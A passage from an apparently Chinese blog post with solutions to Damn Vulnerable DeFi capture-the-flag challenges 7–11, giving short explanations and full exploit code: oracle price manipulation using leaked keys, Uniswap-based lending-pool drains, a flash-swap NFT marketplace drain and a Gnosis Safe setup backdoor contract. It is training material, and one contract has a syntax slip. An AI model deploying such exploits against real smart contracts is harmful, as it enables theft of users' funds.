【damnvulnerabledefi】ctf 7-11

第七题:Compromised
题目中的字符串hex转ascii 再base解码得到3个truster中的2个钱包私钥。
通过让2个钱包地址提交修改价格可以影响中间价格。先设置为0.01购买后再改为exchange的剩余eth再卖出即可掏空exchange。
exp利用:

		const key1 = "0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9";
        const key2 = '0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48';
        const oracle1 = new ethers.Wallet(key1, ethers.provider);
        const oracle2 = new ethers.Wallet(key2, ethers.provider);
        console.log(oracle1.address);
        console.log(oracle2.address);
        const orc1Trust = this.oracle.connect(oracle1);
        const orc2Trust = this.oracle.connect(oracle2);
        const setMedianPrice = async (amount) => {
            let currMedianPrice = await this.oracle.getMedianPrice("DVNFT");
            console.log("Current median price is", currMedianPrice.toString());
            console.log("Posting to oracle 1");
            await orc1Trust.postPrice("DVNFT", amount)
            currMedianPrice = await this.oracle.getMedianPrice("DVNFT");
            console.log("Current median price is", currMedianPrice.toString());
            console.log("Posting to oracle 2");
            await orc2Trust.postPrice("DVNFT", amount)
            currMedianPrice = await this.oracle.getMedianPrice("DVNFT");
            console.log("Current median price is", currMedianPrice.toString());
        }
        let priceToSet = ethers.utils.parseEther("0.01");
        await setMedianPrice(priceToSet);
        const attackExchange = this.exchange.connect(attacker);
        const attackNFT = this.nftToken.connect(attacker);
        await attackExchange.buyOne({
            value: priceToSet
        })
        const tokenId = 0;
        const ownerId = await attackNFT.ownerOf(tokenId);
        expect(ownerId).to.equal(attacker.address);
        console.log("Setting price to balance of exchange");
        const balOfExchange = await ethers.provider.getBalance(this.exchange.address);
        priceToSet = balOfExchange
        await setMedianPrice(priceToSet);
        console.log("Selling NFT for the median price");
        await attackNFT.approve(attackExchange.address, tokenId);
        await attackExchange.sellOne(tokenId);
        priceToSet = INITIAL_NFT_PRICE;
        await setMedianPrice(priceToSet);

第八题:puppet
在calculateDepositRequired中乘法计算会导致整数溢出,但是需要大量的eth购买token无法达成,因为池子内eth和token数量太低,所以先大量卖出token影响token价格,再借取token。
exp代码:

const attackPuppet = this.lendingPool.connect(attacker);
        const attackToken = this.token.connect(attacker);
        const attackUniSwap = this.uniswapExchange.connect(attacker);

        // Approve token to swap with UniSwap
        console.log("Approving Initial Balance");
        await attackToken.approve(attackUniSwap.address, ATTACKER_INITIAL_TOKEN_BALANCE);
        console.log("Balance approved");

        // Calculate ETH Pay out
        const ethPayout = await attackUniSwap.getTokenToEthInputPrice(ATTACKER_INITIAL_TOKEN_BALANCE,
            {
                gasLimit: 1e6
            });
        console.log("Transfer of 1000 tokens will net", ethers.utils.formatEther(ethPayout))
        console.log("Transferring tokens for ETH");
        await attackUniSwap.tokenToEthSwapInput(
            ethers.utils.parseEther('999'), // Exact amount of tokens to transfer
            ethers.utils.parseEther("9"), // Min return of 9ETH
            (await ethers.provider.getBlock('latest')).timestamp * 2, // deadline
        )
        const deposit = await attackPuppet.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE);
        console.log("Deposit required:", ethers.utils.formatEther(deposit));
        await attackPuppet.borrow(POOL_INITIAL_TOKEN_BALANCE, {
            value: deposit
        })
        const tokensToBuyBack = ATTACKER_INITIAL_TOKEN_BALANCE;
        const ethReq = await attackUniSwap.getEthToTokenOutputPrice(tokensToBuyBack,
        {
            gasLimit: 1e6
        })
        console.log(`Eth Required for ${tokensToBuyBack} tokens:`, ethers.utils.formatEther(ethReq))

第九题:Puppet v2
与第八题基本一样,只不过交易对变成了weth:token
exp代码:

const attackWeth = this.weth.connect(attacker);
        const attackToken = this.token.connect(attacker);
        const attackRouter = this.uniswapRouter.connect(attacker);
        const attackLender = this.lendingPool.connect(attacker);
        await attackToken.approve(attackRouter.address, ATTACKER_INITIAL_TOKEN_BALANCE);

        await attackRouter.swapExactTokensForTokens(
            ATTACKER_INITIAL_TOKEN_BALANCE, // transfer exactly 10,000 tokens
            ethers.utils.parseEther("9"), // minimum of 9 WETH return
            [attackToken.address, attackWeth.address], // token addresses
            attacker.address,
            (await ethers.provider.getBlock('latest')).timestamp * 2,   // deadline
        )
        console.log("***SWAPPED 10000 TOKENS FOR WETH***")
        const deposit = await attackLender.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
        console.log("Required deposit for all tokens is", ethers.utils.formatEther(deposit));
        await attackWeth.approve(attackLender.address, deposit)
        const tx = {
            to: attackWeth.address,
            value: ethers.utils.parseEther("19.9")
        }
        await attacker.sendTransaction(tx);
        console.log("***Deposited 19.9 ETH TO WETH***")
        const wethBalance = attackWeth.balanceOf(attacker.address);
        await attackLender.borrow(POOL_INITIAL_TOKEN_BALANCE, {
            gasLimit: 1e6
        });

第十题:Free rider
在buyone中有2个漏洞,1 是在将nft发送给买方后再获得tokenid的owner并发送eth等于又把eth打回给买方了,2是用msg. value来判断价格是否超出满足当前价格,如果多次执行就可以用一份的价格购买多个nft。
所以通过uniswap flashSwap借取15eth 购买并传送nft后再返还即可。
exp代码:
合约代码:

import "hardhat/console.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IERC20.sol";

import "../free-rider/FreeRiderNFTMarketplace.sol";
contract AttackFreeRider is IUniswapV2Callee , IERC721Receiver {
    using Address for address;
    address  payable immutable weth;
    address immutable dvt;
    address  immutable factory;
    address payable  immutable buyerMarketPlace;
    address immutable buyer;
    address immutable nft;
    address immutable owner;
  constructor(
        address payable _weth,
        address _factory,
        address _dvt,
        address payable _buyerMarketplace,
        address _buyer,
        address _nft
    )  {
        weth = _weth;
        dvt = _dvt;
        factory = _factory;
        buyerMarketPlace = _buyerMarketplace;
        buyer = _buyer;
        nft = _nft;
        owner=msg.sender;
    }

    function flashSwap(address _tokenBorrow, uint256 _amount) external {
        address pair = IUniswapV2Factory(factory).getPair(_tokenBorrow, dvt);
        require(pair != address(0), "!pair init");
        address token0 = IUniswapV2Pair(pair).token0();
        address token1 = IUniswapV2Pair(pair).token1();
        uint256 amount0Out = _tokenBorrow == token0 ? _amount : 0;
        uint256 amount1Out = _tokenBorrow == token1 ? _amount : 0;
        bytes memory data = abi.encode(_tokenBorrow, _amount);
        IUniswapV2Pair(pair).swap(amount0Out, amount1Out, address(this), data);
    }
    function uniswapV2Call(
        address sender,
        uint256 amount0,
        uint256 amount1,
        bytes calldata data
    ) external override {

        address token0 = IUniswapV2Pair(msg.sender).token0();
        address token1 = IUniswapV2Pair(msg.sender).token1();
        address pair = IUniswapV2Factory(factory).getPair(token0, token1);
        require(msg.sender == pair, "!pair");
        require(sender == address(this), "!sender");
        (address tokenBorrow, uint256 amount) = abi.decode(
            data,
            (address, uint256)
        );
        uint256 fee = ((amount * 3) / 997) + 1;
        uint256 amountToRepay = amount + fee;
        uint256 currBal = IERC20(tokenBorrow).balanceOf(address(this));
        tokenBorrow.functionCall(abi.encodeWithSignature("withdraw(uint256)", currBal));
        uint256[] memory tokenIds = new uint256[](6);
        for (uint256 i = 0; i < 6; i++) {
            tokenIds[i] = i;
        }
        FreeRiderNFTMarketplace(buyerMarketPlace).buyMany{value: 15 ether}(
            tokenIds
        );
        uint256[] memory tokenIdsSell = new uint256[](2);
        for (uint256 i = 0; i < 2; i++) {
            tokenIdsSell[i] = i;
        }
        uint256[] memory ethervalue= new uint256[](2);
        for (uint256 i = 0; i < 2; i++) {
            ethervalue[i] = 15 ether;
        }
        DamnValuableNFT(nft).setApprovalForAll(buyerMarketPlace, true);
        FreeRiderNFTMarketplace(buyerMarketPlace).offerMany(
            tokenIdsSell,
            ethervalue
        );
        FreeRiderNFTMarketplace(buyerMarketPlace).buyMany{value: 15 ether}(
            tokenIdsSell
        );
        for (uint256 i = 0; i < 6; i++) {
            DamnValuableNFT(nft).safeTransferFrom(address(this), buyer, i);
        }
        (bool success,) = weth.call{value: 15.1 ether}("");
        require(success, "failed to deposit weth");
        IERC20(tokenBorrow).transfer(pair, amountToRepay);
        payable(owner).transfer(address(this).balance);

    }
function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external override pure returns (bytes4) {
        return IERC721Receiver.onERC721Received.selector;
    }

    receive () external payable {}
}

利用代码:

const attackWeth = this.weth.connect(attacker);
        const attackToken = this.token.connect(attacker);
        const attackFactory = this.uniswapFactory.connect(attacker);
        const attackMarketplace = this.marketplace.connect(attacker);
        const attackBuyer = this.buyerContract.connect(attacker);
        const attackNft = this.nft.connect(attacker);
        const AttackFactory = await ethers.getContractFactory("AttackFreeRider", attacker);
        const attackContract = await AttackFactory.deploy(
            attackWeth.address, 
            attackFactory.address,
            attackToken.address,
            attackMarketplace.address,
            attackBuyer.address,
            attackNft.address,
            );

        await attackContract.flashSwap(attackWeth.address, NFT_PRICE, {
            gasLimit: 1e6
        });

第十一题:backdoor
题目要求要从GnosisSafeProxyFactory创建合约并执行proxyCreated,即调用createProxyWithCallback函数创建合约,而且调用GnosisSafe中的setup函数初始化,setup函数中有设置owner和setmumodule用来delegetecall到任意合约的任意代码,所以可以通过设置owner和创建新合约内有approve授权token到attacker。。等token发送到合约钱包后,再转出到attacker即可
exp代码:
合约代码:

import "@gnosis.pm/safe-contracts/contracts/common/Enum.sol";
import "@gnosis.pm/safe-contracts/contracts/proxies/GnosisSafeProxyFactory.sol";


import "../DamnValuableToken.sol";

contract AttackBackdoor {
    address public owner;
    address public factory;
    address public masterCopy;
    address public walletRegistry;
    address public token;

    constructor(
        address _owner,
        address _factory,
        address _masterCopy,
        address _walletRegistry,
        address _token
    ) {
        owner = _owner;
        factory = _factory;
        masterCopy = _masterCopy;
        walletRegistry = _walletRegistry;
        token = _token;
    }

    function setupToken(address _tokenAddress, address _attacker) external {
        DamnValuableToken(_tokenAddress).approve(_attacker, 10 ether);
    }

    
    function exploit(address[] memory users, bytes memory setupData) external {
        for (uint256 i = 0; i < users.length; i++) 
            address user = users[i];
            address[] memory victim = new address[](1);
            victim[0] = user;
            string
                memory signatureString = "setup(address[],uint256,address,bytes,address,address,uint256,address)";
            bytes memory initGnosis = abi.encodeWithSignature(
                signatureString,
                victim,
                uint256(1),
                address(this),
                setupData,
                address(0),
                address(0),
                uint256(0),
                address(0)
            );

            GnosisSafeProxy newProxy = GnosisSafeProxyFactory(factory)
                .createProxyWithCallback(
                    masterCopy,
                    initGnosis,
                    123,
                    IProxyCreationCallback(walletRegistry)
                );

            DamnValuableToken(token).transferFrom(
                address(newProxy),
                owner,
                10 ether
            );
        }
    }
}

利用代码:

const attackerToken = this.token.connect(attacker);
        const attackerFactory = this.walletFactory.connect(attacker);
        const attackerMasterCopy = this.masterCopy.connect(attacker);
        const attackerWalletRegistry = this.walletRegistry.connect(attacker);
        const AttackModuleFactory = await ethers.getContractFactory("AttackBackdoor", attacker);
        const attackModule = await AttackModuleFactory.deploy(
            attacker.address,
            attackerFactory.address,
            attackerMasterCopy.address,
            attackerWalletRegistry.address,
            attackerToken.address
        );
        const moduleABI = ["function setupToken(address _tokenAddress, address _attacker)"];
        const moduleIFace = new ethers.utils.Interface(moduleABI);
        const setupData = moduleIFace.encodeFunctionData("setupToken", [
            attackerToken.address, 
            attackModule.address
        ])
        await attackModule.exploit(users, setupData);
上一篇:爬取网站图片


下一篇:muduo库net源码分析三(定时器)